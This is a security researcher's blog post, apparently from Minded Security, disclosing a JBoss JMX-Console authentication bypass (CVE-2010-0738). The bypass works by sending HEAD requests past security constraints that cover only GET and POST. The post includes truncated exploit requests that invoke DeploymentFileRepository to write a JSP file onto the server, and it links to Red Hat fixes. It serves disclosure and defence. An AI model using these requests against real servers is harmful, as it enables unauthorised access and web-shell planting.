Good Bye Critical Jboss 0day

http://blog.mindedsecurity.com/2010/04/good-bye-critical-jboss-0day.html http://blog.mindedsecurity.com/2010/04/good-bye-critical-jboss-0day.html Authentication bypass vulnerabilities are always interesting from a penetration tester point of view, because the 80% of the time are very simple to abuse. The impact of a security bypass vulnerability depends, from a technical perspective, on what you could be able to do when you are authenticated. Jboss has some good management tools that are used to deploy new applications and to perform privileged actions like executing scripts on the remote host. One of these is Jboss JMX-Console. For more information on what an attacker may accomplish through the JMX-Console I suggest to read the following presentation: Abusing Jboss by Christian Papathanasiou (Trustwave Spiderlabs) Here at Minded Security we discovered something more. Jboss JMX console may be protected using a common password authentication, but the standard password configuration protection is vulnerable. How many time someone suggested to you to secure the JMX console using the standard Jboss security configurations? JMX Console standard security configuration is available in: jboss/server/default/deploy/jmx-console.war/WEB-INF/web.xml This is the suggested security configuration also available in Jboss official security guidelines (“White Paper on JMX Security”): https://jira.jboss.org/jira/browse/SECURITY-31 The suggested configuration for protecting the JMX Console was the following one: HtmlAdaptorAn example security config that only allows users with the role JBossAdmin to access the HTML JMX console web application /*GETPOSTJBossAdmin From the configuration above, security restrictions are enabled only for “GET” and “POST” methods. Any other HTTP method supported by the server will be not restricted. By issuing a request with the “HEAD” method is possible to invoke directly, with “JBossAdmin” privilege, any functionality implemented by the jmx-console without valid credentials. Note: If JMX console replies with a HTTP 500 error the request has been correctly processed. This kind of attack is referred in Appsec literature as Verb Tampering. The following one is a very good paper on this topic. Bypassing with HTTP Verb Tampering by Arshan Dabirsiaghi - Aspect Security The most interesting part is the exploitation. If we have access to any JMX console which is password protected or not, we can issue a HEAD HTTP request that will work ;D Standard Deployment (will ask for password): POST /jmx-console/HtmlAdaptor;index.jsp HTTP/1.1 .... content-lenght: 3512 action=/blog.mindedsecurity.com/2010/04/invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=6&arg0=..%2Fjmx-console.war%2F&arg1=argval&arg2=.jsp& arg3=%3C%25%40+page+import%3D%22java.io.*….... Exploitation with Authentication Bypass: HEAD /jmx-console/HtmlAdaptor;index.jsp?action=/blog.mindedsecurity.com/2010/04/invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=6&arg0=..%2Fjmx-console.war%2F&arg1=argval&arg2=.jsp&arg3=%3C%25%40+page+import%3D%22java.io.*….... HTTP/1.1 Now pick the request you prefer and build your custom exploit! Reference: http://www.mindedsecurity.com/MSA030409.html (Official Advisory) http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0738 Solution: A solution to this issue is already available. See the following RedHat advisories: https://rhn.redhat.com/errata/RHSA-2010-0376.html https://rhn.redhat.com/errata/RHSA-2010-0377.html https://rhn.redhat.com/errata/RHSA-2010-0378.html https://rhn.redhat.com/errata/RHSA-2010-0379.html We would like to thank the RedHat response team in particular Marc Schoenefeld for his support, technical knowledge and fast response.